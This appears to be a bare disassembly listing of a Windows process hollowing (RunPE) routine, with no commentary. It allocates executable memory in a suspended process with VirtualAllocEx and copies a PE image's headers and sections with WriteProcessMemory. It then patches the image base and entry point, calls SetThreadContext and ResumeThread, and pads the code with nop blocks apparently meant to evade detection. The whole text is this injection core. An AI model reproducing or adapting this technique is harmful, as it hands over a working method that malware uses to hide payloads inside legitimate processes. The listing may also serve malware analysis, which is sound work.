mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [eax + 0x34]
jne 0x4105bf
lea ecx, [ebp - 0x7c]
call fcn.0041ec00
push eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jne 0x41059d
push 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
push edx
call fcn.00423a5b
add esp, 4
mov al, byte [ebp - 0xd]
mov byte [ebp - 0x2a], al
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xc4]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.00418dc0
mov al, byte [ebp - 0x2a]
jmp 0x4109e3
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0x60], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x48]
push eax
call dword [ebp - 0x60]
push 0x416ed0
mov ecx, dword [ebp - 0x48]
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x40
push 0x3000
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x24], 0
je 0x410715
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x28], 0
jmp 0x41065f
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x28], edx
jge 0x4106ab
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
imul edx, dword [ebp - 0x28], 0x28
lea eax, [ecx + edx + 0xf8]
mov dword [ebp - 0x34], eax
push 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x410656
push 0
push 4
mov edx, dword [ebp - 0x1c]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x20]
mov dword [edx + 0xb0], ecx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x410727
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0xd], 0
push 0x416ed0
mov edx, dword [ebp - 0x24]
push edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xc4]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.00418dc0
jmp 0x4108a8
cmp dword [ebp - 0x64], 0xa
jge 0x410786
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
jmp 0x410063
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x410821
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.00422e40
add esp, 8
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0xec], edx
mov dword [ebp - 4], 7
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x154], esp
mov ecx, dword [ebp - 0xec]
push ecx
push 0x4275f8
push eax
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x158], eax
lea edx, [ebp - 0x288]
push edx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x15c], eax
lea ecx, [ebp - 0x288]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a0]
call fcn.00418dc0
jmp 0x4108a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410869
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x160], esp
push str.13_BAD87
call fcn.00418290
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x2b8]
push eax
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x168], eax
lea ecx, [ebp - 0x2b8]
call fcn.00418dc0
jmp 0x4108a4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x16c], esp
push str.13_BAD
call fcn.00418290
mov dword [ebp - 0x170], eax
lea ecx, [ebp - 0x2d0]
push ecx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x174], eax
lea ecx, [ebp - 0x2d0]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x410938
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x300]
push edx
call fcn.00422e40
add esp, 8
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 4], 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x178], esp
mov edx, dword [ebp - 0xf4]
push edx
push 0x427658
push ecx
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x17c], eax
lea eax, [ebp - 0x2e8]
push eax
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x180], eax
lea ecx, [ebp - 0x2e8]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x300]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x410979
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x184], esp
push 0x42765c
call fcn.00418290
mov dword [ebp - 0x188], eax
lea ecx, [ebp - 0x318]
push ecx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x18c], eax
lea ecx, [ebp - 0x318]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x4109ba
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x190], esp
push 0x427660
call fcn.00418290
mov dword [ebp - 0x194], eax
lea edx, [ebp - 0x330]
push edx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x198], eax
lea ecx, [ebp - 0x330]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf8]
push ecx
call fcn.00423a5b
add esp, 4
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret